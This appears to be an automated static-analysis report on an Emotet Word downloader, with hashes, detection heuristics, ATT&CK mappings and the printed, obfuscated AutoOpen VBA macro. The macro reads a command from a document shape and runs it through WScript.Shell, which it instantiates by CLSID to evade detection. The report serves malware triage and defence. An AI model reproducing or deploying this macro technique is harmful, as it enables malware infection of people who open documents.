Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 89726199fcf9ff3c…

MALICIOUS

Office (OLE)

138.8 KB Created: 2018-11-28 13:14:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 8325ff8328b23cd58f363e9d7a2697b6 SHA-1: 21f1e291a671ae686d88712eea6239ba9a023b86 SHA-256: 89726199fcf9ff3c7704d80ac28de698bd84b5bff226c35e58920c21d3c9065a
252 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, that leverage the dangerous WScript.Shell COM class. ClamAV identifies this as Emotet, a known downloader family. The macros likely execute a PowerShell command to download and run a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6826436-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826436-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Next
Set SaPNcWTvi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + EMLkPo + EuLjb + QWjSrHR + onKNzEQnk)
   On Error Resume Next
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Next
Set SaPNcWTvi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + EMLkPo + EuLjb + QWjSrHR + onKNzEQnk)
   On Error Resume Next
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9149 bytes
SHA-256: 494358406b44d4a6fc668ce5d7d163560309e9a89eb9a2586eea8972eb14f291
Detection
ClamAV: No threats found
Obfuscation or payload: likely
200 of 295 identifiers look randomly generated (e.g. 'wMKHcAzziDiJoN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GHlvGiLjQZRfJI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case CAikiN
      Case 200350173
         alzUDluK = CBool(LftlYkd)
         UllYsjaI = 163477573
      Case 8489310
         IjVKbcMGQ = Atn(ttJCFajh)
         dPBCJcs = Atn(106123896 * CLng(219515996))
   End Select
         For Each YMikC In qpVSI
         dNBbsc = nFqbwXc * CDate(dLiiM * BrUPIHAP) * OOTRmnBi / Sin(QuuzhlhM) / uNinkwh + 184228117 - 143717444 + Chr(218395260) + (jUVYUc * dGqTbc)
Next
   On Error Resume Next
Select Case HFwVt
      Case 101068852
         DLcqzfQ = CBool(mKsok)
         WsMIJ = 338699924
      Case 113710492
         owjDY = Atn(wqwljEI)
         BzpjFKOZ = Atn(88785698 * CLng(227771095))
   End Select
         For Each wkNlMjPEw In iHtGmHv
         HHjwjr = TZtHqP * CDate(AIctjFlB * zKQXpv) * TCTNGbP / Sin(BWVsJWzIH) / GlitXpZFq + 217676747 - 255488994 + Chr(127595927) + (ZYzaEX * iZtdr)
Next
Set truBBIdj = Shapes("wMKHcAzziDiJoN")
   On Error Resume Next
Select Case PCRzY
      Case 134553816
         HnnCbXM = CBool(GOvTq)
         krhjrzSHi = 329734716
      Case 157868736
         IaowBb = Atn(XGqBI)
         mziSQCoa = Atn(61155885 * CLng(200139268))
   End Select
         For Each jNjVF In FpiHOlRJN
         OTmuqZ = FzjpRvjsz * CDate(iMnvjSGlL * hYORIDi) * HWjTKTb / Sin(VJnuuPO) / mwZYiBfJ + 203777484 - 313560371 + Chr(85070614) + (lSjOMKlc * KCUUOw)
Next
   On Error Resume Next
Select Case jwoXzCS
      Case 160387474
         iBIPa = CBool(LWYNI)
         fVwAqFGr = 198255916
      Case 248380389
         OmdNG = Atn(NmCMw)
         ddWvlCDG = Atn(215064564 * CLng(76585925))
   End Select
         For Each EdpWHwLh In ssudzoF
         KbGcjkV = TKVoafd * CDate(CZkQi * qriTr) * iswwzhwF / Sin(HVsTz) / lpsBNOsb + 158931478 - 25449682 + Chr(269434100) + (ElPzPskoa * ZrsiXz)
Next
   On Error Resume Next
Select Case VOCMHj
      Case 33813296
         rczbCLz = CBool(ulZqowfHG)
         FblziG = 130726617
      Case 66350899
         XSQOXVkjq = Atn(OWONpKjOb)
         ZjuGrii = Atn(276290620 * CLng(298813341))
   End Select
         For Each sHsRcYdXB In DMpRstr
         vnzssk = nXKWtru * CDate(vzGdzlRjM * FVMudN) * mQuFvAOHv / Sin(ASAHdJWt) / lQtciG + 258777577 - 206472284 + Chr(256715640) + (ItuzYG * AkAwsVB)
Next
   On Error Resume Next
Select Case lsbQcOBJ
      Case 300286864
         FZDEHmin = CBool(JBGfv)
         rUCWzm = 256552750
      Case 111763715
         zAvcRci = Atn(wtUlw)
         kznCLc = Atn(229898726 * CLng(206662340))
   End Select
         For Each fAluwm In vSIfFHrFV
         fwHmais = SZMjb * CDate(pUnPcjif * EzCdTI) * FhhnzmX / Sin(EVsojNi) / rTplTb + 194182916 - 270079369 + Chr(279754607) + (fDoYAZwoT * CoqDwMK)
Next
   On Error Resume Next
Select Case POwJmjjCq
      Case 23561588
         lzrNU = CBool(illJw)
         vlFjQdG = 260448566
      Case 187645281
         IkUMDmjQG = Atn(nnuWUish)
         bZoQj = Atn(21955386 * CLng(155007173))
   End Select
         For Each zTYkQinp In tHAsC
         CKrHqjM = kZlAYUUk * CDate(jGjzh * XJHhN) * ljJZElGr / Sin(jznhoKidO) / mIwUlS + 154802463 - 134220942 + Chr(36948453) + (wjBzBz * cbUiOtMzI)
Next
WLnTujPc = "" + zEWlLJdW + DswwGUm + truBBIdj.TextFrame.TextRange.Text + TpruDJ + mpHQWBw
   On Error Resume Next
Select Case rrQNbEKE
      Case 305056879
         btTrtQp = CBool(LIwqwEqbz)
         BUVbwJIHP = 166477135
      Case 50815001
         STTidi = Atn(TsZXqack)
         uLXzH = Atn(107722713 * CLng(19349856))
   End Select
         For Each HzzJjlB In jwpcXN
         IvdBcwi = UYHMD * CDate(HHCQt * ikWkHYH) * dmIdj / Sin(OEdOaccz) / kbYzNbp + 258253576 - 82005530 + Chr(193161781) + (wXYsuDoX * hQdfSnD)
Next
   On Error Resume Next
Select Case zXsTSdt
      Case 42614205
         RKpvUH = CBool(zYoFYat)
         HutNq = 84508137
      Case 336164859
         GBcBSfE = Atn(vJDUaWhZ)
         HiwojFWd = Atn(292309995 * CLng(79490976))
   End Select
         For Each kfQzSni In sGJUUFJOX
         akMTdii = iavGX * CDate(TjwPtDC * onhdwOci) * qwFRbMQ / Sin(iVQFI) / ljiAnHtVT + 145843106 - 264389350 + Chr(319396403) + (lAjPazC * HSIsU)
Next
   On Error Resume Next
Select Case ZkcjiNj
      Case 17259095
         Mcwaaw = CBool(cpFUBz)
         uzWOF = 270253963
      Case 317696796
         DDhjIBh = Atn(unWVwHnjp)
         YddwRWca = Atn(224384056 * CLng(239743549))
   End Select
         For Each zbNOh In stunQvu
         jibLmL = YSQSBGmK * CDate(iTzmv * JHQiun) * zIhimkrAO / Sin(YTaIwvjTG) / qEwwHPUV + 130944220 - 313356750 + Chr(25980118) + (BdTIkS * BSDUXY)
Next
Set SaPNcWTvi = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + EMLkPo + EuLjb + QWjSrHR + onKNzEQnk)
   On Error Resume Next
Select Case pTJWJDu
      Case 130061425
         PbCzzAHHu = CBool(PnJlbhDjp)
         vGGHpFZ = 295027199
      Case 87210130
         kzpKu = Atn(fbzlSDT)
         wnfhi = Atn(264510804 * CLng(43771083))
   End Select
         For Each FsBJUv In rbPur
         RzzrB = bjEIs * CDate(wJCarKZw * szIkFj) * HKDIbz / Sin(pjqjlfjB) / JWWmFRjE + 140665921 - 304701070 + Chr(285387949) + (zqGwTHb * EjLwdMtAd)
Next
   On Error Resume Next
Select Case knrDp
      Case 292977149
         dkVFpIC = CBool(EbCBzVopI)
         KLcZLri = 215309991
      Case 244714176
         dQSThJmwm = Atn(AjRVBYDZn)
         vzicfhwE = Atn(166204397 * CLng(200008541))
   End Select
         For Each IWHVnIj In qirDSa
         tHYnoFt = wjiqnzNiX * CDate(PsMJz * PTEzDD) * QBEnojlqV / Sin(XJpFSw) / cAUvCiN + 239272776 - 51710128 + Chr(69234694) + (UAwwulR * iMYBlRud)
Next
   On Error Resume Next
Select Case QctLmEVrJ
      Case 287645940
         XwZKOlG = CBool(SJbQDAV)
         NTSjU = 257720664
      Case 159450716
         qjCRi = Atn(WwMUL)
         iuIwrhIn = Atn(272092150 * CLng(78596568))
   End Select
         For Each KRzHXqIKk In WUijolI
         dDjpoWTK = rmikOiq * CDate(AjCwHDJbI * ZaODvz) * MIHVccoMV / Sin(YFnIqr) / oCGoVzZNf + 72780441 - 297536805 + Chr(238043942) + (oqilB * jVXHOml)
Next
   On Error Resume Next
Select Case TRisJl
      Case 156721110
         kGpYs = CBool(HOKsE)
         kizucm = 229373156
      Case 330954107
         hszNQUzcu = Atn(BEAdS)
         ilLQBj = Atn(110292794 * CLng(120405499))
   End Select
         For Each jkTnPWCZ In COqLc
         ImQrCOjF = dwAXhwB * CDate(hihjfoi * wfAaEbS) * XIOQY / Sin(TzfpKQ) / isBBmIh + 304838634 - 26401291 + Chr(186255302) + (lOEjjfaBj * AYklCRKiE)
Next
   On Error Resume Next
Select Case rGZSE
      Case 187529650
         ddpThIh = CBool(MDTuwGE)
         nftEZoD = 325605272
      Case 177366906
         JrkztuJwu = Atn(ucDzbHi)
         NzWznfl = Atn(256849972 * CLng(74300571))
   End Select
         For Each woZrtjz In qPJZlwLbj
         bwdRFf = daJEFMGj * CDate(BGCDjUwl * TOnLYo) * zaLOti / Sin(uHPIplkD) / qAwFZ + 191256882 - 185361611 + Chr(47798252) + (rzlQwRCVt * lvUrX)
Next
Const nnzBtTApZRD = 0
   On Error Resume Next
Select Case JwjsB
      Case 33473383
         fdcCAt = CBool(QlHvuHjSo)
         jHMEcaN = 268094437
      Case 300080494
         NTtaQDR = Atn(fSwbo)
         fdbDsFYqK = Atn(59047053 * CLng(77208763))
   End Select
         For Each sHCCONGUd In rjirqbmVd
         TPYzz = voAWJ * CDate(OWKJGcDj * UThluYB) * zEofGZ / Sin(iCDERST) / oGSIj + 212963522 - 135590833 + Chr(66556945) + (ujzvrO * luZDS)
Next
   On Error Resume Next
Select Case ZqbYzTk
      Case 150733697
         kQajtKlWa = CBool(SFVdLIE)
         qbwtE = 148175404
      Case 325170744
         BoRVhZnBU = Atn(LljWN)
         XGKPEN = Atn(101045271 * CLng(100221268))
   End Select
         For Each LuvAqLDjv In wFEvs
         TILzTY = OlWwMh * CDate(oYCcWisAi * HBoOQHSK) * zkEDRZ / Sin(bhOTNrBB) / XDbZNZ + 124531626 - 200440683 + Chr(149762382) + (RkFziDnuk * kVkDj)
Next
   On Error Resume Next
Select Case WEQtVtZ
      Case 240856317
         ZELnVSrY = CBool(EwZEw)
         WviWnYdhh = 257594296
      Case 145892682
         SjMilw = Atn(RnBiX)
         bhqYrw = Atn(120466578 * CLng(37472293))
   End Select
         For Each XZOCzKv In dAzwYrt
         NcBhFUN = CLqnI * CDate(qDNvJmUiz * VQXhXUCqw) * iURYR / Sin(MGzlT) / OnKvk + 194511522 - 224716893 + Chr(48174023) + (icILp * fkiIAqFLW)
Next
SaPNcWTvi.Run# WLnTujPc, nnzBtTApZRD
   On Error Resume Next
Select Case bCuCUjvM
      Case 277554270
         TutKlGlB = CBool(DLfJDWEFz)
         OJcIcmd = 165104515
      Case 295670195
         iCzOp = Atn(IzAGECIEd)
         wtqfPdv = Atn(264955666 * CLng(182187039))
   End Select
         For Each qmRYHjs In IBNQTKOHE
         SMBYiGpji = qEHJmN * CDate(VjcwX * MvcHf) * fRHYCVP / Sin(SHKjYwf) / EtEdG + 54726877 - 292026154 + Chr(176318176) + (uvCocBw * JCvij)
Next
End Sub

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